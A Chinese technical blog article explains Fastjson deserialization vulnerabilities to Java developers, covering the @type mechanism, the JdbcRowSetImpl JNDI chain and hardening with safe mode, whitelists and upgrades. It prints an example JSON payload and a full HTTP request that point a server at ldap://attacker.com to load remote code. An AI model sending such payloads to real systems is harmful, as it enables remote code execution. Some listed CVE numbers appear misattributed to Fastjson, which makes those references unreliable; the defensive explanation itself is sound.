震驚!Fastjson 漏洞背后的真相,開發(fā)工程師必須懂的原理
前言 在與一位安全服務(wù)工程師交流時(shí),我們發(fā)現(xiàn)許多開發(fā)團(tuán)隊(duì)對(duì) Fastjson 漏洞的認(rèn)知依然停留在“知道它有問題,但不清楚具體原因”的階段。尤其是在國(guó)內(nèi) Java 項(xiàng)目中,F(xiàn)astjson 的使用頻率極高,一旦出現(xiàn)漏洞,影響范圍會(huì)迅速擴(kuò)大。本篇文章將帶你從原理到防御策略,完整解析 Fastjson 漏洞的技術(shù)細(xì)節(jié)與風(fēng)險(xiǎn)來(lái)源,幫助你構(gòu)建更安全的后端系統(tǒng)。
Fastjson 是什么?
Fastjson 是由阿里巴巴開源的一款高性能 JSON 處理庫(kù),常用于 Java Web 應(yīng)用或移動(dòng)服務(wù)端。 它的核心功能有兩類:
- 序列化:將 Java 對(duì)象轉(zhuǎn)換為 JSON 字符串
- 反序列化:將 JSON 字符串轉(zhuǎn)換為 Java 對(duì)象
在 Maven 項(xiàng)目中,引用方式通常如下:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>雖然使用方便,但反序列化的強(qiáng)大功能,也為攻擊者提供了可乘之機(jī)。
核心問題:反序列化風(fēng)險(xiǎn)
Fastjson 的主要漏洞集中在反序列化過程中,多次被分配 CVE 編號(hào),例如:
- CVE-2017-18349
- CVE-2020-2883
- CVE-2021-21351
這些漏洞的本質(zhì)是:當(dāng)解析惡意構(gòu)造的 JSON 數(shù)據(jù)時(shí),會(huì)觸發(fā)某些類的危險(xiǎn)方法,最終導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
反序列化原理回顧
在正常場(chǎng)景下,反序列化是一個(gè)非常有用的功能:
{"name":"張三","age":20}Fastjson 會(huì)將其轉(zhuǎn)換為 Java 對(duì)象:
User{name="張三", age=20}然而,F(xiàn)astjson 為了支持多態(tài)反序列化,引入了一個(gè)特殊字段 @type,允許指定反序列化目標(biāo)類,例如:
{"@type":"com.example.User","name":"張三","age":20}這會(huì)告訴 Fastjson 直接實(shí)例化 com.example.User。問題也由此產(chǎn)生。
漏洞利用鏈解析
攻擊者可以在 @type 中填入系統(tǒng)中存在的“危險(xiǎn)類”(gadget 類),并構(gòu)造特殊參數(shù),從而觸發(fā)惡意操作。
示例攻擊數(shù)據(jù):
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}Fastjson 解析過程:
- 解析
@type→ 實(shí)例化JdbcRowSetImpl - 調(diào)用
setDataSourceName()→ 傳入惡意 LDAP 地址 - 調(diào)用
setAutoCommit(true)→ 觸發(fā) JNDI Lookup - 服務(wù)器訪問
ldap://attacker.com→ 下載并加載攻擊者類 - 遠(yuǎn)程代碼執(zhí)行,攻擊者獲得服務(wù)器控制權(quán)
為什么會(huì)出現(xiàn)這種漏洞?
根本原因有三點(diǎn):
- 缺乏對(duì)
@type的類限制:早期版本幾乎可以反序列化任意類 - 自動(dòng)調(diào)用 Setter 方法:反序列化時(shí)會(huì)自動(dòng)執(zhí)行類的 setter
- JNDI + gadget 類:當(dāng)類中包含 JNDI 調(diào)用(如
JdbcRowSetImpl)時(shí),構(gòu)成了遠(yuǎn)程代碼執(zhí)行鏈
哪些情況有風(fēng)險(xiǎn)?
- 從不可信來(lái)源(用戶輸入、HTTP 請(qǐng)求)解析 JSON
- 使用低于安全版本的 Fastjson(如 1.2.83 之前版本)
- 項(xiàng)目類路徑中存在可利用的 gadget 類(
JdbcRowSetImpl、TemplatesImpl等)
攻擊場(chǎng)景實(shí)例
HTTP 惡意請(qǐng)求:
POST /api/user HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}服務(wù)器處理流程:
- 接收請(qǐng)求體
JSON.parseObject(requestBody)→ 進(jìn)入反序列化流程- 觸發(fā) gadget 類方法 → 遠(yuǎn)程加載惡意類
- 攻擊者獲得服務(wù)器權(quán)限
安全加固建議
在 com/icoderoad/security/FastjsonSafeConfig.java 中:
package com.icoderoad.security;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonSafeConfig {
public static void applySecurityConfig() {
// 開啟安全模式,禁用 AutoType
ParserConfig.getGlobalInstance().setSafeMode(true);
// 如果必須使用 @type,則開啟白名單
ParserConfig.getGlobalInstance().addAccept("com.icoderoad.safe.");
}
}四條防護(hù)鐵律:
- 版本升級(jí):至少升級(jí)到
1.2.83及以上版本 - 安全模式:
setSafeMode(true)禁用 AutoType - 白名單機(jī)制:僅允許指定包的類反序列化
- 輸入驗(yàn)證:永遠(yuǎn)不要反序列化未經(jīng)嚴(yán)格校驗(yàn)的 JSON
關(guān)鍵認(rèn)知
Fastjson 漏洞不是孤例,它反映了 Java 反序列化的共性問題。Apache Commons Collections、Jackson 也曾出現(xiàn)類似風(fēng)險(xiǎn)。安全性更多依賴配置與使用方式,而不僅僅是依賴庫(kù)版本。
結(jié)論 在 Java 生態(tài)中,反序列化漏洞是一個(gè)反復(fù)出現(xiàn)的安全挑戰(zhàn)。Fastjson 因其靈活性和高性能廣泛被采用,但這種靈活性在缺乏限制時(shí)同樣會(huì)成為攻擊者的武器。作為開發(fā)者,必須在項(xiàng)目中貫徹“默認(rèn)安全”的理念:保持依賴更新、啟用安全模式、嚴(yán)格限制可反序列化的類型,并徹底避免解析來(lái)源不明的數(shù)據(jù)。唯有如此,才能在保證開發(fā)效率的同時(shí),真正守住系統(tǒng)的安全防線。
























